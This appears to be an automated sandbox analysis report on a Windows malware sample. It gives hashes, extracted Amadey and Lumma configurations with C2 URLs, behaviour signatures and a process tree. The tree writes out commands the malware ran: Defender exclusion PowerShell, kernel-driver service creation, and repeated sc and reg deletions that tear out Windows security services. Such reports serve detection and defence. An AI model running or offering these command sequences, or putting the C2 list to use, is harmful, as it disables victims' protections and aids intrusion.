Overview

overview

10

Static

static

3

b98b563e84...d3.exe

windows7-x64

10

b98b563e84...d3.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/03/2025, 18:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    b98b563e84582e4c360683c255ef5bd3.exe

  • Size

    1.8MB

  • MD5

    b98b563e84582e4c360683c255ef5bd3

  • SHA1

    dcffe41f94d21393d43b6438e94174f39b3d755d

  • SHA256

    5c42d5cff248996ac395d3c636fcf55cba5710d7797c03340c71d94fbbbd1c71

  • SHA512

    e053d42b8c7ec83007f51e9e293c0b297dd86478ac5c97b421a3683e92f3cb1ad22a13bd3435d428d74483a6224f93481d7272f86d1798073ef50bc609dd58ff

  • SSDEEP

    24576:ecDROuFEIyGX/7OKSzjp4KPl2H88+fxlcQ3Gl07o7eSoAOEMzHbxZW/p5n6tiNb8:ecD2avG14KDfX8SSoAubbm6

Score
10/10
amadeygcleanerlummasalatstealer092155bootkitcredential_accessdefense_evasiondiscoveryexecutionexploitloaderpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://1travelilx.top/GSKAiz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://gstarcloc.bet/GOksAo

https://advennture.top/GKsiio

https://ntargett.top/dsANGt

https://spacedbv.world/EKdlsk

https://-galxnetb.today/GsuIAo

https://targett.top/dsANGt

https://starcloc.bet/GOksAo

https://qadvennture.top/GKsiio

https://galxnetb.today/GsuIAo

https://cosmosyf.top/GOsznj

https://esccapewz.run/ANSbwqy

https://travewlio.shop/ZNxbHi

https://touvrlane.bet/ASKwjq

https://sighbtseeing.shop/ASJnzh

https://holidamyup.today/AOzkns

https://triplooqp.world/APowko

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect SalatStealer payload 7 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Salatstealer family
    salatstealer
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

    stealersalatstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 24 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 52 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 17 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 15 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 56 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2928
      • C:\Windows\SysWOW64\svchost.exe
        "C:\Windows\System32\svchost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1516
      • C:\Windows\SysWOW64\svchost.exe
        "C:\Windows\System32\svchost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:6756
    • C:\Users\Admin\AppData\Local\Temp\b98b563e84582e4c360683c255ef5bd3.exe
      "C:\Users\Admin\AppData\Local\Temp\b98b563e84582e4c360683c255ef5bd3.exe"
      1⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:5476
      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Downloads MZ/PE file
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Users\Admin\AppData\Local\Temp\10382310101\h2kC2YI.exe
          "C:\Users\Admin\AppData\Local\Temp\10382310101\h2kC2YI.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:6072
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4064
        • C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe
          "C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2672
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:5356
        • C:\Users\Admin\AppData\Local\Temp\10382660101\amnew.exe
          "C:\Users\Admin\AppData\Local\Temp\10382660101\amnew.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
            "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
            4⤵
            • Downloads MZ/PE file
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:668
            • C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
              "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4140
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                6⤵
                  PID:5732
              • C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
                "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:5644
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5516
              • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4648
                • C:\Users\Admin\AppData\Local\Temp\is-0NNCM.tmp\Bell_Setup16.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-0NNCM.tmp\Bell_Setup16.tmp" /SL5="$190248,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4392
                  • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                    "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:3304
                    • C:\Users\Admin\AppData\Local\Temp\is-H23PS.tmp\Bell_Setup16.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-H23PS.tmp\Bell_Setup16.tmp" /SL5="$401C6,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                      8⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      PID:3688
                      • C:\Windows\SysWOW64\regsvr32.exe
                        "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"
                        9⤵
                        • Loads dropped DLL
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3416
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4780
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
                          "PowerShell.exe" -NoProfile -NonInteractive -Command -
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of AdjustPrivilegeToken
                          PID:740
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"
                          10⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          PID:4656
              • C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
                "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
                5⤵
                • Executes dropped EXE
                PID:2764
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2712
                • C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                  C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                  6⤵
                  • Executes dropped EXE
                  PID:2356
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                    7⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:2752
              • C:\Users\Admin\AppData\Local\Temp\10045350101\kololololo.exe
                "C:\Users\Admin\AppData\Local\Temp\10045350101\kololololo.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1976
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:4492
              • C:\Users\Admin\AppData\Local\Temp\10045360101\fff.exe
                "C:\Users\Admin\AppData\Local\Temp\10045360101\fff.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:3348
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  6⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • System Location Discovery: System Language Discovery
                  PID:3280
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 492
                    7⤵
                    • Program crash
                    PID:5272
              • C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
                "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:2816
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:5548
              • C:\Users\Admin\AppData\Local\Temp\10045450101\f901722c38.exe
                "C:\Users\Admin\AppData\Local\Temp\10045450101\f901722c38.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                PID:1212
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  "C:\Users\Admin\AppData\Local\Temp\10045450101\f901722c38.exe"
                  6⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1540
              • C:\Users\Admin\AppData\Local\Temp\10045460101\277660c6c8.exe
                "C:\Users\Admin\AppData\Local\Temp\10045460101\277660c6c8.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                PID:3484
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  "C:\Users\Admin\AppData\Local\Temp\10045460101\277660c6c8.exe"
                  6⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1296
              • C:\Users\Admin\AppData\Local\Temp\10045470101\86664b7a5d.exe
                "C:\Users\Admin\AppData\Local\Temp\10045470101\86664b7a5d.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1008
          • C:\Users\Admin\AppData\Local\Temp\10382800101\aezyEBW.exe
            "C:\Users\Admin\AppData\Local\Temp\10382800101\aezyEBW.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1348
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:5408
          • C:\Users\Admin\AppData\Local\Temp\10382880101\apple.exe
            "C:\Users\Admin\AppData\Local\Temp\10382880101\apple.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:452
            • C:\Users\Admin\AppData\Local\Temp\221.exe
              "C:\Users\Admin\AppData\Local\Temp\221.exe"
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2400
              • C:\Windows\system32\cmd.exe
                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\121C.tmp\121D.tmp\121E.bat C:\Users\Admin\AppData\Local\Temp\221.exe"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:5184
                • C:\Users\Admin\AppData\Local\Temp\221.exe
                  "C:\Users\Admin\AppData\Local\Temp\221.exe" go
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:64
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\12D7.tmp\12D8.tmp\12D9.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"
                    7⤵
                    • Drops file in Program Files directory
                    • Suspicious use of WriteProcessMemory
                    PID:4472
                    • C:\Windows\system32\sc.exe
                      sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                      8⤵
                      • Launches sc.exe
                      PID:1324
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:3264
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      8⤵
                      • Delays execution with timeout.exe
                      PID:1680
                    • C:\Windows\system32\sc.exe
                      sc stop ddrver
                      8⤵
                      • Launches sc.exe
                      PID:4320
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:3020
                    • C:\Windows\system32\takeown.exe
                      takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:348
                    • C:\Windows\system32\icacls.exe
                      icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:5392
                    • C:\Windows\system32\sc.exe
                      sc stop "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:1244
                    • C:\Windows\system32\sc.exe
                      sc delete "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:1956
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                      8⤵
                        PID:2088
                      • C:\Windows\system32\sc.exe
                        sc stop "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:4960
                      • C:\Windows\system32\sc.exe
                        sc delete "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:3416
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                        8⤵
                          PID:2132
                        • C:\Windows\system32\sc.exe
                          sc stop "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:1364
                        • C:\Windows\system32\sc.exe
                          sc delete "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:5084
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                          8⤵
                            PID:4788
                          • C:\Windows\system32\sc.exe
                            sc stop "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:1212
                          • C:\Windows\system32\sc.exe
                            sc delete "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:2284
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                            8⤵
                              PID:908
                            • C:\Windows\system32\sc.exe
                              sc stop "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:5060
                            • C:\Windows\system32\sc.exe
                              sc delete "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:4964
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                              8⤵
                              • Modifies security service
                              PID:4112
                            • C:\Windows\system32\sc.exe
                              sc stop "SgrmBroker"
                              8⤵
                              • Launches sc.exe
                              PID:4896
                            • C:\Windows\system32\sc.exe
                              sc delete "SgrmBroker"
                              8⤵
                              • Launches sc.exe
                              PID:4900
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                              8⤵
                                PID:1972
                              • C:\Windows\system32\sc.exe
                                sc stop "SecurityHealthService"
                                8⤵
                                • Launches sc.exe
                                PID:2136
                              • C:\Windows\system32\sc.exe
                                sc delete "SecurityHealthService"
                                8⤵
                                • Launches sc.exe
                                PID:4064
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                8⤵
                                  PID:1312
                                • C:\Windows\system32\sc.exe
                                  sc stop "webthreatdefsvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:6000
                                • C:\Windows\system32\sc.exe
                                  sc delete "webthreatdefsvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:1904
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                  8⤵
                                    PID:2620
                                  • C:\Windows\system32\sc.exe
                                    sc stop "webthreatdefusersvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:4076
                                  • C:\Windows\system32\sc.exe
                                    sc delete "webthreatdefusersvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:3748
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                    8⤵
                                      PID:1540
                                    • C:\Windows\system32\sc.exe
                                      sc stop "WdNisDrv"
                                      8⤵
                                      • Launches sc.exe
                                      PID:2172
                                    • C:\Windows\system32\sc.exe
                                      sc delete "WdNisDrv"
                                      8⤵
                                      • Launches sc.exe
                                      PID:3556
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                      8⤵
                                        PID:1328
                                      • C:\Windows\system32\sc.exe
                                        sc stop "WdBoot"
                                        8⤵
                                        • Launches sc.exe
                                        PID:4380
                                      • C:\Windows\system32\sc.exe
                                        sc delete "WdBoot"
                                        8⤵
                                        • Launches sc.exe
                                        PID:2020
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                        8⤵
                                          PID:1040
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdFilter"
                                          8⤵
                                          • Launches sc.exe
                                          PID:4368
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdFilter"
                                          8⤵
                                          • Launches sc.exe
                                          PID:3540
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                          8⤵
                                            PID:2324
                                          • C:\Windows\system32\sc.exe
                                            sc stop "SgrmAgent"
                                            8⤵
                                            • Launches sc.exe
                                            PID:4192
                                          • C:\Windows\system32\sc.exe
                                            sc delete "SgrmAgent"
                                            8⤵
                                            • Launches sc.exe
                                            PID:5996
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                            8⤵
                                              PID:1868
                                            • C:\Windows\system32\sc.exe
                                              sc stop "MsSecWfp"
                                              8⤵
                                              • Launches sc.exe
                                              PID:4072
                                            • C:\Windows\system32\sc.exe
                                              sc delete "MsSecWfp"
                                              8⤵
                                              • Launches sc.exe
                                              PID:1856
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                              8⤵
                                                PID:1980
                                              • C:\Windows\system32\sc.exe
                                                sc stop "MsSecFlt"
                                                8⤵
                                                • Launches sc.exe
                                                PID:4328
                                              • C:\Windows\system32\sc.exe
                                                sc delete "MsSecFlt"
                                                8⤵
                                                • Launches sc.exe
                                                PID:6140
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                8⤵
                                                  PID:3280
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "MsSecCore"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:5416
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "MsSecCore"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:2576
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                  8⤵
                                                    PID:3296
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                    8⤵
                                                      PID:3716
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                      8⤵
                                                        PID:1348
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                        8⤵
                                                          PID:5280
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                          8⤵
                                                            PID:3252
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop ddrver
                                                            8⤵
                                                            • Launches sc.exe
                                                            PID:3228
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete ddrver
                                                            8⤵
                                                            • Launches sc.exe
                                                            PID:1624
                                                • C:\Users\Admin\AppData\Local\Temp\10383620101\JfwxLrZ.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383620101\JfwxLrZ.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Drops file in Program Files directory
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3184
                                                  • C:\Program Files (x86)\Reference Assemblies\StartMenuExperienceHost.exe
                                                    "C:\Program Files (x86)\Reference Assemblies\StartMenuExperienceHost.exe"
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Drops file in Program Files directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:3048
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\StartMenuExperienceHost.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\StartMenuExperienceHost.exe" -
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1204
                                                    • C:\Program Files\Google\Chrome\Application\StartMenuExperienceHost.exe
                                                      "C:\Program Files\Google\Chrome\Application\StartMenuExperienceHost.exe" -
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1916
                                                • C:\Users\Admin\AppData\Local\Temp\10383850101\4264093ddf.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383850101\4264093ddf.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1972
                                                • C:\Users\Admin\AppData\Local\Temp\10383860101\b97c1293af.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10383860101\b97c1293af.exe"
                                                  3⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious use of SetThreadContext
